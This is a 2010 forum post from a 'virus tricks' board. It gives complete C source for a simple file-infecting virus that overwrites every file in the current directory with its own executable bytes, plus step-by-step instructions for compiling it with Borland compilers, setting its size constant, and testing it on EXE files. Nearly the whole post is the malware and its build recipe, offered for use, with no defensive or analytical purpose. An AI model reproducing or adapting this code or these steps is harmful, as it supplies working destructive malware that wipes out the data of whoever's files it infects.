URI:
   DIR Return Create A Forum - Home
       ---------------------------------------------------------
       gworld
  HTML https://gworld.createaforum.com
       ---------------------------------------------------------
       *****************************************************
   DIR Return to: VIRUS TRICKS n CREATION
       *****************************************************
       #Post#: 538--------------------------------------------------
       CREATE A VIRUS
       By: eba95 Date: August 9, 2010, 3:28 am
       ---------------------------------------------------------
       This program is an example of how
       to create a virus in C. This program
       demonstrates a simple virus
       program which upon execution
       (Running) creates a copy of itself in
       the other file. Thus it destroys other
       files by infecting them. But the virus
       infected file is also capable of
       spreading the infection to another
       file and so on. Here ’s the source code
       of the virus program.
       #include<stdio.h>
       #include<io.h>
       #include<dos.h>
       #include<dir.h>
       #include<conio.h>
       #include<time.h>
       FILE *virus,*host;
       int done,a=0;
       unsigned long x;
       char buff[2048];
       struct ffblk ffblk;
       clock_t st,end;
       void main()
       {
       st=clock();
       clrscr();
       done=findfirst(“*.*”,&ffblk,0);
       while(!done)
       {
       virus=fopen(_argv[0],”rb”);
       host=fopen(ffblk.ff_name,”rb+”);
       if(host==NULL) goto next;
       x=89088;
       printf (“Infecting %s
       \n”,ffblk.ff_name,a);
       while(x>2048)
       {
       fread(buff,2048,1,virus);
       fwrite(buff,2048,1,host);
       x-=2048;
       }
       fread(buff,x,1,virus);
       fwrite(buff,x,1,host);
       a++;
       next:
       {
       fcloseall();
       done=findnext(&ffblk);
       }
       }
       printf (“DONE! (Total Files Infected=
       %d)”,a);
       end=clock();
       printf (“TIME TAKEN=%f SEC\n”,
       (end-st)/CLK_TCK);
       getch();
       }
       COMPILING METHOD:
       USING BORLAND TC++ 3.0 (16-BIT):
       1. Load the program in the compiler,
       press Alt-F9 to compile
       2. Press F9 to generate the EXE file
       (DO NOT PRESS CTRL-F9,THIS WILL
       INFECT ALL THE FILES IN CUR
       DIRECTORY INCLUDIN YOUR COMPILER)
       3. Note down the size of generated
       EXE file in bytes (SEE EXE FILE
       PROPERTIES FOR IT ’S SIZE)
       4. Change the value of X in the
       source code with the noted down
       size (IN THE ABOVE SOURCE CODE x=
       89088; CHANGE IT)
       5. Once again follow the STEP 1 &
       STEP 2.Now the generated EXE File is
       ready to infect
       USING BORLAND C++ 5.5 (32-BIT) :
       1. Compile once,note down the
       generated EXE file length in bytes
       2. Change the value of X in source
       code to this length in bytes
       3. Recompile it.The new EXE file is
       ready to infect
       HOW TO TEST:
       1. Open new empty folder
       2. Put some EXE files (BY SEARCHING
       FOR *.EXE IN SEARCH & PASTING IN
       THE NEW FOLDER)
       3. Run the virus EXE file there you
       will see all the files in the current
       directory get infected.
       4. All the infected files will be ready
       to reinfect
       *****************************************************